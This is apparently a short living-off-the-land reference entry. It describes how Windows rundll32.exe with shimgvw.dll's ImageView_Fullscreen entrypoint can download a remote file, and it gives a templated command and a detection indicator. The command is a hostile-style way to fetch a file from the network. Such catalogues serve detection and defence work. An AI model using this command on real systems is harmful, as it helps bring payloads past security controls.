Download
File DownloadWindows
Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.
Use Download file from remote location.
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}
- Evidence
- Upstream reference
- Environment
- Local host
- Context
- user
- Native
- Download
- Detection
IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line